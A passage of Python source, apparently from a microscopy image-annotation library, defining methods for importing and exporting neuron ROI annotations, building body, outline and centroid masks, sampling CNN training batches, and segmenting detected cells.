brdr['bottom']-crop_from_bottom, 0 ] )\n\n # Update annotations and channels\n self.annotation = new_annotation_list\n self.channel = new_channel_list\n self.exclude_border = brdr\n\n\n # *****************************************\n # ***** Handling the annotation data *****\n @property\n def annotation(self):\n \"\"\"Returns list with all image annotations\"\"\"\n return self._annotation\n\n @annotation.setter\n def annotation(self, annotation_data):\n \"\"\"Sets the internal list of all image annotations to copies of the\n supplied list of class annotation() annotations\n annotation_data: instance of, or list with annotations of the\n annotation class\"\"\"\n self._annotation = []\n if not isinstance( annotation_data, list):\n annotation_data = [annotation_data]\n type_nr_list = []\n for an in annotation_data:\n if self.downsamplingfactor is not None:\n body_pixels = np.round( an.body / self.downsamplingfactor )\n else:\n body_pixels = an.body\n self._annotation.append( Annotation(\n body_pixels_yx=body_pixels,\n annotation_name=an.name,\n type_nr=an.type_nr,\n group_nr=an.group_nr) )\n type_nr_list.append(an.type_nr)\n # Update masks if there is at least one image channel\n if self.include_annotation_typenrs is None:\n self.include_annotation_typenrs = type_nr_list\n if self.n_channels > 0:\n self._set_bodies()\n self._set_outlines()\n self._set_centroids()\n\n def set_annotations_from_coordinates(self, coordinates_list):\n \"\"\"Reads data from a list with coordinates [cells, [x,y]] (a list holding lists).\n \"\"\"\n\n # Load mat file with ROI data\n annotation_list = []\n type_nr_list = []\n nROIs = len(coordinates_list)\n for c in range(nROIs):\n body = np.zeros((9,2),dtype=int)\n cnt = 0\n for y in [-1,0,1]:\n for x in [-1,0,1]:\n # coordinates list = xy, body = yx\n body[cnt,1] = coordinates_list[c][0] + x\n body[cnt,0] = coordinates_list[c][1] + y\n cnt += 1\n body = body-1 # Matlab/FIJI (1-index) to Python (0-index)\n type_nr = int(1) # is neuron\n name = str(\"neuron\")\n group_nr = int(0) # no group\n annotation_list.append( Annotation( body_pixels_yx=body,\n annotation_name=name, type_nr=type_nr, group_nr=group_nr ) )\n type_nr_list.append(type_nr)\n if self.include_annotation_typenrs is None:\n self.include_annotation_typenrs = type_nr_list\n self.annotation = annotation_list\n\n def import_annotations_from_mat(self, file_name, file_path='.'):\n \"\"\"Reads data from ROI.mat file and fills the annotation_list.\n file_name: String holding name of ROI file\n file_path: String holding file path\n \"\"\"\n\n # Load mat file with ROI data\n mat_data = loadmat(path.join(file_path,file_name))\n annotation_list = []\n type_nr_list = []\n nROIs = len(mat_data['ROI'][0])\n for c in range(nROIs):\n body = mat_data['ROI'][0][c]['body']\n body = np.array([body[:,1],body[:,0]]).transpose()\n body = body-1 # Matlab (1-index) to Python (0-index)\n type_nr = int(mat_data['ROI'][0][c]['type'][0][0])\n name = str(mat_data['ROI'][0][c]['typename'][0])\n group_nr = int(mat_data['ROI'][0][c]['group'][0][0])\n annotation_list.append( Annotation( body_pixels_yx=body,\n annotation_name=name, type_nr=type_nr, group_nr=group_nr ) )\n type_nr_list.append(type_nr)\n if self.include_annotation_typenrs is None:\n self.include_annotation_typenrs = type_nr_list\n self.annotation = annotation_list\n\n def export_annotations_to_mat(self, file_name,\n file_path='.', upsample=None):\n \"\"\"Writes annotations to ROI.mat file\n file_name: String holding name of ROI file\n file_path: String holding file path\n upsample: Upsampling factor\"\"\"\n\n if upsample is not None:\n upsamplingfactor = upsample\n elif self.downsamplingfactor is not None:\n print(\"AnnotatedImage was downsampled by factor of {}\".format( \\\n self.downsamplingfactor) + \", upsampling ROI's for export \")\n upsamplingfactor = self.downsamplingfactor\n else:\n upsamplingfactor = None\n\n # Upsample ROI's before export\n if upsamplingfactor is not None:\n annotation_export_list = []\n for an in self.annotation:\n annotation_mask = np.zeros_like(self._channel[0])\n an.mask_body(image=annotation_mask)\n annotation_mask = ndimage.interpolation.zoom( \\\n annotation_mask, self.downsamplingfactor )\n annotation_export_list.append( Annotation(\n body_pixels_yx=annotation_mask>0.5, annotation_name=an.name,\n type_nr=an.type_nr, group_nr=an.group_nr) )\n else:\n annotation_export_list = self.annotation\n\n # Export ROIs\n nrs = []\n groups = []\n types = []\n typenames = []\n xs = []\n ys = []\n sizes = []\n perimeters = []\n bodys = []\n for nr,an in enumerate(annotation_export_list):\n nrs.append(nr)\n groups.append(an.group_nr)\n types.append(an.type_nr)\n typenames.append(an.name)\n xs.append(an.x+1)\n ys.append(an.y+1)\n sizes.append(an.size)\n perimeter = np.array( \\\n [an.perimeter[:,1],an.perimeter[:,0]] ).transpose()+1\n perimeters.append(perimeter)\n body = np.array( [an.body[:,1],an.body[:,0]] ).transpose()+1\n bodys.append(body)\n savedata = np.core.records.fromarrays( [ nrs, groups, types,\n typenames, xs, ys, sizes, perimeters, bodys ],\n names = [ 'nr', 'group', 'type', 'typename', 'x', 'y',\n 'size', 'perimeter', 'body'] )\n savemat(path.join(file_path,file_name), {'ROI': savedata} )\n print(\"Exported annotations to: {}\".format(\n path.join(file_path,file_name)+\".mat\"))\n\n # ******************************************\n # ***** Handling the annotated bodies *****\n @property\n def bodies(self):\n \"\"\"Returns an image with annotation bodies masked\"\"\"\n return self._bodies\n\n @property\n def bodies_typenr(self):\n \"\"\"Returns an image with annotation bodies masked by type_nr\"\"\"\n return self._bodies_type_nr\n\n def _set_bodies(self):\n \"\"\"Sets the internal body annotation mask with specified parameters\"\"\"\n self._bodies = np.zeros_like(self._channel[0])\n self._bodies_type_nr = np.zeros_like(self._channel[0])\n for nr in range(self.n_annotations):\n if self._annotation[nr].type_nr in self.include_annotation_typenrs:\n self._annotation[nr].mask_body(self._bodies,\n dilation_factor=self._body_dilation_factor,\n mask_value=nr+1, keep_centroid=True)\n self._bodies_type_nr[self._bodies==nr+1] = \\\n self._annotation[nr].type_nr\n\n @property\n def body_dilation_factor(self):\n \"\"\"Returns the body dilation factor\"\"\"\n return self._body_dilation_factor\n\n @body_dilation_factor.setter\n def body_dilation_factor(self, dilation_factor):\n \"\"\"Updates the internal body annotation mask with dilation_factor\"\"\"\n self._body_dilation_factor = dilation_factor\n self._set_bodies()\n self._set_outlines()\n\n\n # ******************************************\n # ***** Handling the annotated outlines *****\n @property\n def outlines(self):\n \"\"\"Returns an image with annotation outlines masked\"\"\"\n return self._outlines\n\n @property\n def outlines_typenr(self):\n \"\"\"Returns an image with annotation outlines masked by type_nr\"\"\"\n return self._outlines_type_nr\n\n def _set_outlines(self):\n \"\"\"Sets the internal outline annotation mask with specified parameters\"\"\"\n self._outlines = np.zeros_like(self._channel[0])\n self._outlines_type_nr = np.zeros_like(self._channel[0])\n for nr in range(self.n_annotations):\n if self._annotation[nr].type_nr in self.include_annotation_typenrs:\n self._annotation[nr].mask_outline(self._outlines,\n dilation_factor=self._body_dilation_factor,\n thickness=self._outline_thickness,\n mask_value=nr+1, keep_centroid=True)\n self._outlines_type_nr[self._outlines==nr+1] = \\\n self._annotation[nr].type_nr\n\n @property\n def outline_thickness(self):\n \"\"\"Returns the outline thickness\"\"\"\n return self._outline_thickness\n\n @outline_thickness.setter\n def outline_thickness(self, thickness):\n \"\"\"Updates the internal outline annotation mask with outline_thickness\"\"\"\n self._outline_thickness = thickness\n self._set_outlines()\n\n\n # *********************************************\n # ***** Handling the annotated centroids *****\n @property\n def centroids(self):\n \"\"\"Returns an image with annotation centroids masked\"\"\"\n return self._centroids\n\n @property\n def centroids_typenr(self):\n \"\"\"Returns an image with annotation centroids masked by type_nr\"\"\"\n return self._centroids_type_nr\n\n def _set_centroids(self):\n \"\"\"Sets the internal centroids annotation mask with specified\n parameters\"\"\"\n self._centroids = np.zeros_like(self._channel[0])\n self._centroids_type_nr = np.zeros_like(self._channel[0])\n for nr in range(self.n_annotations):\n if self._annotation[nr].type_nr in self.include_annotation_typenrs:\n self._annotation[nr].mask_centroid(self._centroids,\n dilation_factor=self._centroid_dilation_factor,\n mask_value=nr+1)\n self._centroids_type_nr[self._centroids==nr+1] = \\\n self._annotation[nr].type_nr\n\n @property\n def centroid_dilation_factor(self):\n \"\"\"Returns the centroid dilation factor\"\"\"\n return(self._centroid_dilation_factor)\n\n @centroid_dilation_factor.setter\n def centroid_dilation_factor(self, dilation_factor):\n \"\"\"Updates the internal centroid annotation mask with dilation_factor\"\"\"\n self._centroid_dilation_factor = dilation_factor\n self._set_centroids()\n\n\n # ***************************************************\n # ***** Loading and saving of Annotated Images *****\n def load(self,file_name,file_path='.'):\n \"\"\"Loads image and annotations from .npy file\"\"\"\n combined_annotated_image = np.load(path.join(file_path,file_name)).item()\n self.channel = combined_annotated_image['image_data']\n self.annotation = combined_annotated_image['annotation_data']\n self.exclude_border = combined_annotated_image['exclude_border']\n self.include_annotation_typenrs = \\\n combined_annotated_image['include_annotation_typenrs']\n self.detected_centroids = combined_annotated_image['detected_centroids']\n self.detected_bodies = combined_annotated_image['detected_bodies']\n self.labeled_centroids = combined_annotated_image['labeled_centroids']\n self.labeled_bodies = combined_annotated_image['labeled_bodies']\n print(\"Loaded AnnotatedImage from: {}\".format(\n path.join(file_path,file_name)))\n\n def save(self,file_name,file_path='.'):\n \"\"\"Saves image and annotations to .npy file\"\"\"\n combined_annotated_image = {}\n combined_annotated_image['image_data'] = self.channel\n combined_annotated_image['annotation_data'] = self.annotation\n combined_annotated_image['exclude_border'] = self.exclude_border\n combined_annotated_image['include_annotation_typenrs'] = \\\n self.include_annotation_typenrs\n combined_annotated_image['detected_centroids'] = self.detected_centroids\n combined_annotated_image['detected_bodies'] = self.detected_bodies\n combined_annotated_image['labeled_centroids'] = self.labeled_centroids\n combined_annotated_image['labeled_bodies'] = self.labeled_bodies\n np.save(path.join(file_path,file_name), combined_annotated_image)\n print(\"Saved AnnotatedImage as: {}\".format(\n path.join(file_path,file_name)+\".npy\"))\n\n\n # ************************************************\n # ***** Generate NN training/test data sets *****\n\n @property\n def include_annotation_typenrs(self):\n \"\"\"Includes only ROI's with certain typenrs in body and centroid masks\n \"\"\"\n return self._include_annotation_typenrs\n\n @include_annotation_typenrs.setter\n def include_annotation_typenrs(self, include_typenrs):\n \"\"\"Sets the nrs to include, removes redundancy by using sets\"\"\"\n\n if isinstance(include_typenrs,int):\n annotation_typenrs = set([include_typenrs,])\n elif include_typenrs is None:\n type_nr_list = []\n for an in self.annotation:\n type_nr_list.append(an.type_nr)\n annotation_typenrs = set(type_nr_list)\n else:\n annotation_typenrs = set(include_typenrs)\n\n if 0 in annotation_typenrs:\n annotation_typenrs.remove(0)\n\n self._include_annotation_typenrs = annotation_typenrs\n if self.n_channels > 0:\n self._set_centroids()\n self._set_bodies()\n self._set_outlines()\n\n def get_batch( self, zoom_size, annotation_type='Bodies', m_samples=100,\n return_size=None, return_annotations=False,\n sample_ratio=None, annotation_border_ratio=None,\n normalize_samples=False, segment_all=False,\n morph_annotations=False, rotation_list=None,\n scale_list_x=None, scale_list_y=None, noise_level_list=None ):\n \"\"\"Constructs a 2d matrix (m samples x n pixels) with linearized data\n half of which is from within an annotation, and half from outside\n zoom_size: 2 dimensional size of the image (y,x)\n annotation_type: 'Bodies' or 'Centroids'\n m_samples: number of training samples\n return_size: Determines size of annotations that are returned\n If None, it defaults to zoom_size\n return_annotations: Returns annotations in addition to\n samples and labels. If False, returns empty\n list. Otherwise set to 'Bodies' or 'Centroids'\n sample_ratio: List with ratio of samples per groups (sum=1)\n annotation_border_ratio: Fraction of samples drawn from 2px border\n betweem positive and negative samples\n normalize_samples: Scale each individual channel to its maximum\n segment_all: Segments all instead of single annotations (T/F)\n morph_annotations: Randomly morph the annotations\n rotation_list: List of rotation values to choose from in degrees\n scale_list_x: List of horizontal scale factors to choose from\n scale_list_y: List of vertical scale factors to choose from\n noise_level_list: List of noise levels to choose from\n Returns tuple with samples as 2d numpy matrix, labels as\n 2d numpy matrix and if requested annotations as 2d numpy matrix\n or otherwise an empty list as third item\"\"\"\n\n # Set return_size\n if return_size is None:\n return_size = zoom_size\n\n # Calculate number of samples per class\n class_labels = sorted(self.class_labels)\n n_classes = len(class_labels)\n if sample_ratio is not None:\n if len(sample_ratio) > n_classes:\n sample_ratio = sample_ratio[:n_classes]\n m_class_samples = split_samples(\n m_samples, n_classes, ratios=sample_ratio )\n\n # Get number of border annotations (same strategy as above)\n if annotation_border_ratio is not None:\n m_class_borders = list(range(n_classes))\n for c in range(n_classes):\n m_class_samples[c],m_class_borders[c] = split_samples(\n m_class_samples[c], 2,\n ratios=[1-annotation_border_ratio,annotation_border_ratio] )\n\n # Get labeled image for identifying annotations\n if annotation_type.lower() == 'centroids':\n im_label = self.centroids\n im_label_class = self.centroids_typenr\n elif annotation_type.lower() == 'bodies':\n im_label = self.bodies\n im_label_class = self.bodies_typenr\n elif annotation_type.lower() == 'outlines':\n im_label = self.outlines\n im_label_class = self.outlines_typenr\n\n # Get labeled image for return annotations\n if return_annotations is not False:\n if return_annotations.lower() == 'centroids':\n return_im_label = self.centroids\n elif return_annotations.lower() == 'bodies':\n return_im_label = self.bodies\n elif return_annotations.lower() == 'outlines':\n return_im_label = self.outlines\n\n # Predefine output matrices\n samples = np.zeros( (m_samples,\n self.n_channels*zoom_size[0]*zoom_size[1]) )\n if return_annotations is not False:\n annotations = np.zeros( (m_samples, return_size[0]*return_size[1]) )\n labels = np.zeros( (m_samples, n_classes) )\n count = 0\n\n # Loop over output classes\n for c in range(n_classes):\n\n # Get image where only border pixels are labeled (either pos or neg)\n if annotation_border_ratio is not None:\n brdr_val = 1 if class_labels[c] == 0 else 0\n im_label_er = ndimage.binary_erosion(\n ndimage.binary_erosion( im_label_class==class_labels[c],\n border_value=brdr_val ), border_value=brdr_val )\n im_label_border = im_label_class==class_labels[c]\n im_label_border[im_label_er>0] = 0\n\n # Get lists of all pixels that fall in one class\n pix_y,pix_x = get_labeled_pixel_coordinates( \\\n im_label_class==class_labels[c],\n exclude_border=self.exclude_border_tuple )\n if annotation_border_ratio is not None:\n brdr_pix_y,brdr_pix_x = get_labeled_pixel_coordinates( \\\n im_label_border,\n exclude_border=self.exclude_border_tuple )\n\n # Get list of random indices for pixel coordinates\n if len(pix_x) < m_class_samples[c]:\n print(\"!! Warning: fewer samples of class {} (n={})\".format( \\\n c, len(pix_x)) + \" than requested (m={})\".format(m_class_samples[c]))\n print(\" Returning duplicate samples...\")\n random_px = np.random.choice( len(pix_x),\n m_class_samples[c], replace=True )\n else:\n random_px = np.random.choice( len(pix_x),\n m_class_samples[c], replace=False )\n\n if annotation_border_ratio is not None:\n if len(brdr_pix_x) < m_class_borders[c]:\n print(\"!! Warning: fewer border samples of class {} (n={})\".format( \\\n c, len(brdr_pix_x)) + \" than requested (m={})\".format(m_class_borders[c]))\n print(\" Returning duplicate samples...\")\n random_brdr_px = np.random.choice( len(brdr_pix_x),\n m_class_borders[c], replace=True )\n else:\n random_brdr_px = np.random.choice( len(brdr_pix_x),\n m_class_borders[c], replace=False )\n\n # Loop samples\n for p in random_px:\n nr = im_label[pix_y[p], pix_x[p]]\n if not morph_annotations:\n samples[count,:] = image2vec( zoom( self.channel,\n pix_y[p], pix_x[p],\n zoom_size=zoom_size, normalize=normalize_samples ) )\n if return_annotations and not segment_all:\n annotations[count,:] = 0 if nr == 0 else \\\n image2vec( zoom( \\\n return_im_label==nr, pix_y[p], pix_x[p],\n zoom_size=return_size, normalize=normalize_samples ) )\n elif return_annotations and segment_all:\n annotations[count,:] = image2vec( zoom( \\\n return_im_label>0, pix_y[p], pix_x[p],\n zoom_size=return_size, normalize=normalize_samples ) )\n else:\n rotation = float(np.random.choice( rotation_list, 1 ))\n scale = ( float(np.random.choice( scale_list_y, 1 )), \\\n float(np.random.choice( scale_list_x, 1 )) )\n noise_level = float(np.random.choice( noise_level_list, 1 ))\n\n samples[count,:] = image2vec( morphed_zoom( self.channel,\n pix_y[p], pix_x[p], zoom_size,\n rotation=rotation, scale_xy=scale,\n normalize=normalize_samples, noise_level=noise_level ) )\n if return_annotations and not segment_all:\n annotations[count,:] = 0 if nr == 0 else \\\n image2vec( morphed_zoom( \\\n (return_im_label==nr).astype(np.float),\n pix_y[p], pix_x[p], return_size,\n rotation=rotation, scale_xy=scale,\n normalize=normalize_samples, noise_level=0 ) )\n elif return_annotations and segment_all:\n annotations[count,:] = image2vec( morphed_zoom( \\\n (return_im_label>0).astype(np.float),\n pix_y[p], pix_x[p], return_size,\n rotation=rotation, scale_xy=scale,\n normalize=normalize_samples, noise_level=0 ) )\n labels[count,c] = 1\n count = count + 1\n\n # Positive border examples\n if annotation_border_ratio is not None:\n for p in random_brdr_px:\n nr = im_label[brdr_pix_y[p], brdr_pix_x[p]]\n if not morph_annotations:\n samples[count,:] = image2vec( zoom( self.channel,\n brdr_pix_y[p], brdr_pix_x[p],\n zoom_size=zoom_size, normalize=normalize_samples ) )\n if return_annotations and not segment_all:\n annotations[count,:] = 0 if nr == 0 else \\\n image2vec( zoom( return_im_label==nr,\n brdr_pix_y[p], brdr_pix_x[p],\n zoom_size=return_size, normalize=normalize_samples ) )\n elif return_annotations and segment_all:\n annotations[count,:] = image2vec( zoom( return_im_label>0,\n brdr_pix_y[p], brdr_pix_x[p],\n zoom_size=return_size, normalize=normalize_samples ) )\n else:\n rotation = float(np.random.choice( rotation_list, 1 ))\n scale = ( float(np.random.choice( scale_list_y, 1 )), \\\n float(np.random.choice( scale_list_x, 1 )) )\n noise_level = float(np.random.choice( noise_level_list, 1 ))\n\n samples[count,:] = image2vec( morphed_zoom( self.channel,\n brdr_pix_y[p], brdr_pix_x[p], zoom_size,\n rotation=rotation, scale_xy=scale,\n normalize=normalize_samples, noise_level=noise_level ) )\n if return_annotations and not segment_all:\n annotations[count,:] = 0 if nr == 0 else \\\n image2vec( morphed_zoom(\n (return_im_label==nr).astype(np.float),\n brdr_pix_y[p], brdr_pix_x[p], return_size,\n rotation=rotation, scale_xy=scale,\n normalize=normalize_samples, noise_level=0 ) )\n elif return_annotations and segment_all:\n annotations[count,:] = image2vec( morphed_zoom(\n (return_im_label>0).astype(np.float),\n brdr_pix_y[p], brdr_pix_x[p], return_size,\n rotation=rotation, scale_xy=scale,\n normalize=normalize_samples, noise_level=0 ) )\n labels[count,c] = 1\n count = count + 1\n\n # Return samples, labels, annotations etc\n if return_annotations:\n annotations[annotations<0.5]=0\n annotations[annotations>=0.5]=1\n return samples,labels,annotations\n else:\n return samples,labels,[]\n\n def generate_cnn_annotations_cb(self, min_size=None, max_size=None,\n dilation_factor_centroids=0, dilation_factor_bodies=0,\n re_dilate_bodies=0 ):\n \"\"\"Generates annotations from CNN detected bodies. If detected\n centroids are present, it uses those to identify single annotations\n and uses the detected bodies to get the outlines\n min_size: Minimum number of pixels of the annotations\n max_size: Maximum number of pixels of the annotations\n dilation_factor_centroids: Dilates or erodes centroids before\n segentation(erosion will get rid of\n 'speccles', dilations won't do much good)\n dilation_factor_bodies: Dilates or erodes annotation bodies\n before segmentation\n re_dilate_bodies: Dilates or erodes annotation bodies\n after segmentation\n \"\"\"\n # Check if centroids are detected\n if self.detected_centroids is None:\n do_centroids = False\n else:\n do_centroids = True\n\n detected_bodies = np.array(self.detected_bodies)\n if do_centroids:\n detected_centroids = np.array(self.detected_centroids)\n\n # Remove annotated pixels too close to the border artifact region\n if self.exclude_border['left'] > 0:\n detected_bodies[ :, :self.exclude_border['left'] ] = 0\n if self.exclude_border['right'] > 0:\n detected_bodies[ :, -self.exclude_border['right']: ] = 0\n if self.exclude_border['top'] > 0:\n detected_bodies[ :self.exclude_border['top'], : ] = 0\n if self.exclude_border['bottom'] > 0:\n detected_bodies[ -self.exclude_border['bottom']:, : ] = 0\n\n # Attempt to remove holes in annotated centroids and smooth edges\n if do_centroids:\n detected_centroids = \\\n ndimage.morphology.binary_fill_holes(detected_centroids)\n detected_centroids = ndimage.binary_erosion(detected_centroids)\n detected_centroids = ndimage.binary_dilation(detected_centroids)\n\n # Attempt to remove holes in annotated bodies and smooth edges\n detected_bodies = ndimage.morphology.binary_fill_holes(detected_bodies)\n detected_bodies = ndimage.binary_dilation(detected_bodies)\n detected_bodies = ndimage.binary_erosion(detected_bodies)\n\n # Dilate or erode centroids\n if do_centroids:\n if dilation_factor_centroids>0:\n for _ in range(dilation_factor_centroids):\n detected_centroids = \\\n ndimage.binary_dilation(detected_centroids)\n elif dilation_factor_centroids<0:\n for _ in range(-1*dilation_factor_centroids):\n detected_centroids = \\\n ndimage.binary_erosion(detected_centroids)\n\n # Dilate or erode bodies\n if dilation_factor_bodies>0:\n for _ in range(dilation_factor_bodies):\n detected_bodies = ndimage.binary_dilation(detected_bodies)\n elif dilation_factor_bodies<0:\n for _ in range(-1*dilation_factor_bodies):\n detected_bodies = ndimage.binary_erosion(detected_bodies)\n\n # Get rid of centroid pixels that have no bodies associated with them\n if do_centroids:\n detected_centroids[detected_bodies==0] = 0\n\n # Get labeled centroids and bodies\n if do_centroids:\n centroid_labels = measure.label(detected_centroids,\n background=0, connectivity=1)\n n_centroid_labels = centroid_labels.max()\n print(\"Found {} putative centroids\".format(n_centroid_labels))\n body_labels = measure.label(detected_bodies,\n background=0, connectivity=1)\n n_body_labels = body_labels.max()\n print(\"Found {} putative bodies\".format(n_body_labels))\n\n # Nothing labeled, no point to continue\n if n_centroid_labels == 0 or n_body_labels == 0:\n print(\"Aborting ...\")\n return 0\n\n # Split centroids that are too long and thin\n if do_centroids:\n print(\"Splitting lengthy centroids {:3d}\".format(0),\n end=\"\", flush=True)\n for nr in range(1,n_centroid_labels+1):\n print((3*'\\b')+'{:3d}'.format(nr), end='', flush=True)\n mask = np.zeros_like(centroid_labels)\n mask[centroid_labels==nr] = 1\n props = measure.regionprops( mask )\n if props[0].major_axis_length > 3*props[0].minor_axis_length:\n distance = ndimage.distance_transform_edt(mask==1)\n local_maxi = peak_local_max(distance, min_distance=5,\n indices=False, labels=mask==1)\n markers = morphology.label(local_maxi)\n new_label = watershed( -distance, markers, mask=mask==1)\n if new_label.max() > 1:\n centroid_labels[new_label==1] = nr\n for lab_nr in range(2,new_label.max()+1):\n centroid_labels[new_label==lab_nr] = \\\n centroid_labels.max()+1\n n_centroid_labels = centroid_labels.max()\n print((3*'\\b')+'{:3d}'.format(nr))\n print(\"Now: {} putative centroids\".format(n_centroid_labels))\n\n # If only bodies, convert labeled bodies annotations\n if not do_centroids:\n print(\"Converting labeled body image into annotations {:3d}\".format(0),\n end=\"\", flush=True)\n ann_body_list = []\n for nr in range(1,n_body_labels+1):\n print((3*'\\b')+'{:3d}'.format(nr), end='', flush=True)\n body_mask = body_labels==nr\n an_body = Annotation( body_pixels_yx=body_mask)\n ann_body_list.append(an_body)\n print((3*'\\b')+'{:3d}'.format(nr))\n else:\n # Convert labeled centroids into centroid and body annotations\n print(\"Converting labeled centroids and bodies into annotations {:3d}\".format(0),\n end=\"\", flush=True)\n ann_body_list = []\n ann_body_nr_list = []\n ann_centr_list = []\n for nr in range(1,n_centroid_labels+1):\n print((3*'\\b')+'{:3d}'.format(nr), end='', flush=True)\n mask = centroid_labels==nr\n an_centr = Annotation( body_pixels_yx=mask)\n ann_centr_list.append(an_centr)\n\n # Get body mask for this centroid\n body_nr = body_labels[int(an_centr.y),int(an_centr.x)]\n ann_body_nr_list.append(body_nr)\n body_mask = body_labels==body_nr\n\n # Fill holes and remove 'loose' pixels / smooth ragged edges\n body_mask = ndimage.morphology.binary_fill_holes(body_mask)\n body_mask = ndimage.binary_dilation(body_mask)\n body_mask = ndimage.binary_erosion(body_mask)\n\n # Store as single annotation\n an_body = Annotation( body_pixels_yx=body_mask)\n ann_body_list.append(an_body)\n print((3*'\\b')+'{:3d}'.format(nr))\n\n # Loop centroid annotations to remove overlap of body annotations\n print(\"Removing overlap of annotation {:3d}\".format(0), end=\"\", flush=True)\n for nr1 in range(len(ann_centr_list)):\n print((3*'\\b')+'{:3d}'.format(nr1), end='', flush=True)\n\n # Find out if the centroid shares the body with another centroid\n shared_list = []\n for nr2 in range(len(ann_centr_list)):\n if (ann_body_nr_list[nr1] == ann_body_nr_list[nr2]) \\\n and (ann_body_nr_list[nr1] > 0):\n shared_list.append(nr2)\n\n # If more than one centroid owns the same body, split it\n if len(shared_list) > 1:\n\n # for each pixel, calculate the distance to each centroid\n D = np.zeros((ann_body_list[nr1].body.shape[0],len(shared_list)))\n for n,c in enumerate(shared_list):\n cy, cx = ann_centr_list[c].y, ann_centr_list[c].x\n for p,(y,x) in enumerate(ann_body_list[c].body):\n D[p,n] = np.sqrt( ((cy-y)**2) + ((cx-x)**2) )\n\n # Find the closest centroid for each pixel\n closest_cntr = np.argmin(D,axis=1)\n\n # For each centroid, get a new annotation with closest pixels\n for n,c in enumerate(shared_list):\n B = ann_body_list[c].body[closest_cntr==n,:]\n new_ann = Annotation(body_pixels_yx=B)\n ann_body_nr_list[c] = 0\n ann_body_list[c] = new_ann\n print((3*'\\b')+'{:3d}'.format(nr1))\n\n print(\"Re-segmenting annotated bodies to reject orphan patches: {:3d}\".format(0),\n end=\"\", flush=True)\n for nr in range(len(ann_body_list)):\n print((3*'\\b')+'{:3d}'.format(nr+1), end='', flush=True)\n masked_image = np.zeros(self.detected_bodies.shape)\n ann_body_list[nr].mask_body( image=masked_image )\n labeled_image = measure.label(masked_image,background=0,connectivity=1)\n n_labels = labeled_image.max()\n lab_size = []\n for lab_no in range(1,n_labels+1):\n lab_im = labeled_image==lab_no\n lab_size.append( lab_im.sum() )\n largest_lab = np.argmax(np.array(lab_size))+1\n masked_image = labeled_image==largest_lab\n ann_body_list[nr] = Annotation( \\\n body_pixels_yx=labeled_image==largest_lab )\n print((3*'\\b')+'{:3d}'.format(nr+1))\n\n # Remove too small annotations\n if min_size is not None:\n remove_ix = []\n for nr in range(len(ann_body_list)):\n if ann_body_list[nr].body.shape[0] < min_size:\n remove_ix.append(nr)\n if len(remove_ix) > 0:\n print(\"Removing {} annotations where #pixels < {}\".format(\n len(remove_ix), min_size))\n for ix in reversed(remove_ix):\n del ann_body_list[ix]\n\n # Remove too large annotations\n if max_size is not None:\n remove_ix = []\n for nr in range(len(ann_body_list)):\n if ann_body_list[nr].body.shape[0] > max_size:\n remove_ix.append(nr)\n if len(remove_ix) > 0:\n print(\"Removing {} annotations where #pixels > {}\".format(\n len(remove_ix), max_size))\n for ix in reversed(remove_ix):\n del ann_body_list[ix]\n\n # Dilate or erode annotated bodies\n if re_dilate_bodies != 0:\n print(\"Dilating annotated bodies by a factor of {}: {:3d}\".format(\n re_dilate_bodies,0), end=\"\", flush=True)\n for nr in range(len(ann_body_list)):\n print((3*'\\b')+'{:3d}'.format(nr+1), end='', flush=True)\n masked_image = np.zeros(self.detected_bodies.shape)\n ann_body_list[nr].mask_body(\n image=masked_image, dilation_factor=re_dilate_bodies)\n ann_body_list[nr] = Annotation( body_pixels_yx=masked_image)\n print((3*'\\b')+'{:3d}'.format(nr+1))\n\n # Set the internal annotation list\n self.annotation = ann_body_list\n\n\n def image_grid_RGB( self, image_size, image_type='image', annotation_nrs=None,\n n_x=10, n_y=6, channel_order=(0,1,2),\n normalize_samples=False, auto_scale=False,\n amplitude_scaling=(1.33,1.33,1), line_color=0 ):\n \"\"\" Constructs a 3d numpy.ndarray tiled with a grid of RGB images from\n the annotations. If more images are requested than can be tiled,\n it chooses and displays a random subset.\n image_size: 2 dimensional size of the zoom-images (y,x)\n image_type: 'image', 'bodies', 'centroids'\n annotation_nrs: List with nr of the to be displayed annotations\n n_x: Number of images to show on x axis of grid\n n_y: Number of images to show on y axis of grid\n channel_order: Tuple indicating which channels are R, G and B\n auto_scale: Scale each individual image to its maximum (T/F)\n normalize_samples: Scale each individual channel to its maximum\n amplitude_scaling: Intensity scaling of each color channel\n line_color: Intensity (gray scale) of line between images\n Returns numpy.ndarray (y,x,RGB) and a list with center_shifts (y,x)\n \"\"\"\n\n # Get indices of images to show\n if annotation_nrs is None:\n annotation_nrs = list(range(self.n_annotations))\n n_images = len(annotation_nrs)\n\n # Get coordinates of where images will go\n y_coords = []\n offset = 0\n for i in range(n_y):\n offset = i * (image_size[0] + 1)\n y_coords.append(offset+np.array(range(image_size[0])))\n max_y = np.max(y_coords[i]) + 1\n\n x_coords = []\n offset = 0\n for i in range(n_x):\n offset = i * (image_size[1] + 1)\n x_coords.append(offset+np.array(range(image_size[1])))\n max_x = np.max(x_coords[i]) + 1\n\n rgb_coords = np.array(list(range(3)))\n\n # Fill grid\n im_count = 0\n rgb_im = np.zeros((image_size[0],image_size[1],3))\n grid = np.zeros((max_y,max_x,3))+line_color\n center_shift = []\n for y in range(n_y):\n for x in range(n_x):\n if im_count < n_images:\n for ch in range(3):\n if image_type.lower() == 'image':\n im = self.channel[channel_order[ch]]\n if image_type.lower() == 'centroids':\n im = self.centroids>0.5\n if image_type.lower() == 'bodies':\n im = self.bodies>0.5\n rgb_im[:,:,ch] = zoom( im,\n self.annotation[annotation_nrs[im_count]].y,\n self.annotation[annotation_nrs[im_count]].x, image_size,\n normalize=normalize_samples, pad_value=0 )\n if auto_scale:\n rgb_im = (rgb_im-rgb_im.min()) / (rgb_im.max()-rgb_im.min())\n grid[np.ix_(y_coords[y],x_coords[x],rgb_coords)] = rgb_im\n center_shift.append( \\\n ( y_coords[y][0] + (0.5*image_size[0]) -0.5,\n x_coords[x][0] + (0.5*image_size[0]) -0.5 ) )\n else:\n break\n im_count += 1\n return grid, center_shift\n\n########################################################################\n### Class AnnotatedImageSet\n########################################################################\n\nclass AnnotatedImageSet(object):\n \"\"\"Class that represents a dataset of annotated images and organizes\n the dataset for feeding in machine learning algorithms\"\"\"\n\n def __init__(self, downsample=None):\n \"\"\"Initializes\n downsample: Downsample to be imported images, borders\n and ROI's by a certain factor\n \"\"\"\n # initializes the list of annotated images\n self._downsample = downsample\n self.ai_list = []\n self._body_dilation_factor = 0\n self._outline_thickness = 1\n self._centroid_dilation_factor = 0\n self._include_annotation_typenrs = None\n self._n_channels = 0\n\n def __str__(self):\n return \"AnnotatedImageSet (# Annotated Images = 